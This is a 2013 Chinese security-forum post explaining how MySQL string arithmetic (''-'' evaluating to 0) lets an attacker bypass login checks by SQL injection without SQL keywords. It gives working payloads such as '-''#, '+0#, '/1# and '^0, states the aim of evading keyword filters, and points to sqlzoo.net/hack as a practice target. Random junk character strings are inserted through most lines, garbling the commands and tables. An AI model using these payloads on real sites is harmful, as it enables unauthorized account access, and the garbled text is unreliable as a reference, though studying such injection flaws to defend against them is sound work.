找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2236|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。1 e$ C4 ^  `) Y/ A/ B- U3 D
有以下表结构:
$ B& J  Q1 G( u# @& D
/ M: {8 q) u, a2 m1 V4 s) V) cmysql> desc admin;1 S7 E1 L6 R8 K0 k4 _# @
+----------+--------------+------+-----+---------+----------------+
9 T4 \# ~1 v; K  U| Field    | Type         | Null | Key | Default | Extra          |
3 J: K! J  _2 o2 _# K5 T3 Q+----------+--------------+------+-----+---------+----------------+
) U* s" s5 {6 }& O| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
- U: e! `5 @8 E' @: p6 p% S| name     | char(32)     | NO   | UNI | NULL    |                |
  D+ ~# i. }9 f' l( A" x' x& g  I| password | char(32)     | NO   | UNI | NULL    |                |/ E& M" P7 l$ V/ [: H( p
+----------+--------------+------+-----+---------+----------------+9 \* G$ e" i5 }
3 rows in set (0.00 sec)
/ ]1 W2 d& ?- v; p2 d执行select * from admin;,成功返回所有记录内容。0 E2 d' ?' F* d8 _' s3 C

7 @  v6 B5 C) b+ P" \9 r) P2 G5 a' V! M# {& _: j: u
+----+--------+----------------------------------+
1 b% \& e: Z- {| id | name   | password                         |4 a6 k! E- H' K; I: \
+----+--------+----------------------------------+! E* G3 u' p0 _1 n' r- }
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |$ b! q1 \* i' A; \% w4 P( ?8 U2 S
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
& z6 l; D; y$ @. h; t: c|  4 | n00b   | ff80e8508d39047460921792273533a4 |: p( E' V! s2 q& ^% T# v. M
+----+--------+----------------------------------+
3 E8 k' q" s2 e0 K6 _9 @3 B$ m/ O/ n0 ^0 t3 rows in set (0.00 sec)
; \7 D6 T$ k4 c7 J, B; ?执行select * from admin where name=”;,没有匹配到任何记录。 2 j! @1 I. g' p/ V. n$ ^* m9 O

) q6 ?8 P& i8 E! L4 umysql> select * from admin where name = '';8 i5 Y9 |- P* `$ Q: v, L/ p! p5 J
Empty set (0.00 sec)
0 ]& D3 u+ b/ h% |  o1 q0 o+ P那么我们来执行select * from admin where name = ”-”;. ~: Q+ }0 v. z6 M' ~

0 K+ M! u2 k2 b* j; h) v# C$ q9 p6 f; h3 [
+----+--------+----------------------------------+
" t& }8 R9 f# v4 ]! p| id | name   | password                         |
4 x% F8 _9 g- n+ F" B, c+----+--------+----------------------------------+/ ^& X' d+ q7 U
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |/ n% i# j% ~) I; Z; J# I, m$ M" t
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |  O/ F2 `$ j: G7 ^5 t. p! g
|  4 | n00b   | ff80e8508d39047460921792273533a4 |$ \" |2 O! a6 ?0 q' j
+----+--------+----------------------------------+6 C8 E! h- E( i) ]
3 rows in set, 3 warnings (0.00 sec)4 C! O, X: n, @3 B$ Q- p9 {; w& T
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 5 a9 A2 w* {2 y7 G
+ y2 C* n0 Q# ~2 z, K
mysql> show warnings;
& E2 w. H8 I  ]- Q% V+---------+------+------------------------------------------
0 A2 k+ ]/ z* @0 k1 Q& B| Level   | Code | Message0 k+ q2 o# p7 h5 n4 o! M
+---------+------+------------------------------------------
/ M% Q( R$ }' p4 U! ]/ r$ a7 z; L| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin, U( x8 \0 u; `5 e1 S2 z" J  y
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
. w& r* Y0 S+ h8 J, ]| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
, e$ a4 ]) Y6 I+---------+------+------------------------------------------
, G% V; O, @2 C" t' O9 D5 p3 rows in set (0.00 sec)7 U- x9 S- X( ]' z' p; h
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
& d5 V5 P! k0 _0 }2 u* G" p# r
) \9 F# [1 N. ]1 a* [; kmysql> select ''-'';, l; S5 x$ Q2 X( l* d1 C
+-------+' W9 C, S+ E' t7 a
| ''-'' |
, P8 g( ?" S* N2 W: z5 P$ ?+-------+0 q+ i* N2 n, w. B8 @
|     0 |
* h( l- r9 P/ {) v/ R4 O6 A, E1 h- b+-------+1 ?: S; M2 B7 s) }
1 row in set (0.00 sec)
" q& n2 e& R! Z" G) W$ [6 M返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ( g$ a! V. \4 Y) D8 |
  R8 m8 w+ \% I/ l8 {2 \
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);5 P7 Z1 W8 G/ g! B2 ^% E
+-----------------------------------------------------+
! z0 Y4 y8 i4 S( B6 C| CAST((select name from admin limit 1,1) as DECIMAL) |
% Y. Z$ r( |, L; r+ b4 e+-----------------------------------------------------+
6 p4 d: P( q, q3 H( ^7 ^; }9 h, [|                                                   0 |( y& @4 X+ ^. r' f. z4 Z
+-----------------------------------------------------+
) E$ u5 k" N+ t5 m& Z1 row in set, 1 warning (0.00 sec)8 g6 R$ v, |' H. y! V1 B/ x) M
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ) y3 {& E- t; t9 p. |

5 D; g) p9 ^5 U6 U2 d; |SQL注入场景: http://www.sqlzoo.net/hack/ 4 M) W/ P5 u( e- d9 ^
& A3 c( \8 o9 w8 z0 ^. z7 t/ k
4 u9 F) w" n$ V  L- m

3 ?: c/ ]9 [! Q
: {1 G5 s3 r" B, [如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 0 i& @  A: ?, s/ q

/ S/ A* U* S' M" `那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
/ M# D7 B2 c! }  k9 G: O, }# ~& _1 \/ l$ _1 ~

7 C- p4 V+ @" J: D  f& _% `% X: G& A; p4 P, {8 [+ Z0 _
+ e6 t% O5 S2 Q( p% [
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 $ y4 z. k! F; m- a" p, s2 b" q
0 S8 B/ R! \/ i' D9 b" Y' M2 C; A
   
( W! [( a3 ]1 |6 E& t" a6 t0 r: M: X6 X" X$ ]& `5 D% u3 b4 i
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可% Z- W# H; v: Q% a+ o( y
% j* [# y1 k8 k& J
; s, F0 Y# `  W" T( l, s! k& p* y
mysql> select ''/1;% L8 x  x! Z8 R3 l. @/ a
+------+
6 J0 s8 L* b. A; Y4 |# ^0 u| ''/1 |
% y& q" F2 u/ U4 O' K$ c! ]( S" k7 Z+------+
' }' s" Q( l4 q|    0 |8 ~3 O5 i' F7 a  _) Z7 P
+------+
3 m. h' M5 h& R7 g2 V: B1 row in set (0.00 sec)
& M5 i1 i7 \6 m类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  ; B% u% x' U8 U

! P; @( C1 O8 M- s, |: z利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
, \6 d1 Y5 C( k" T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表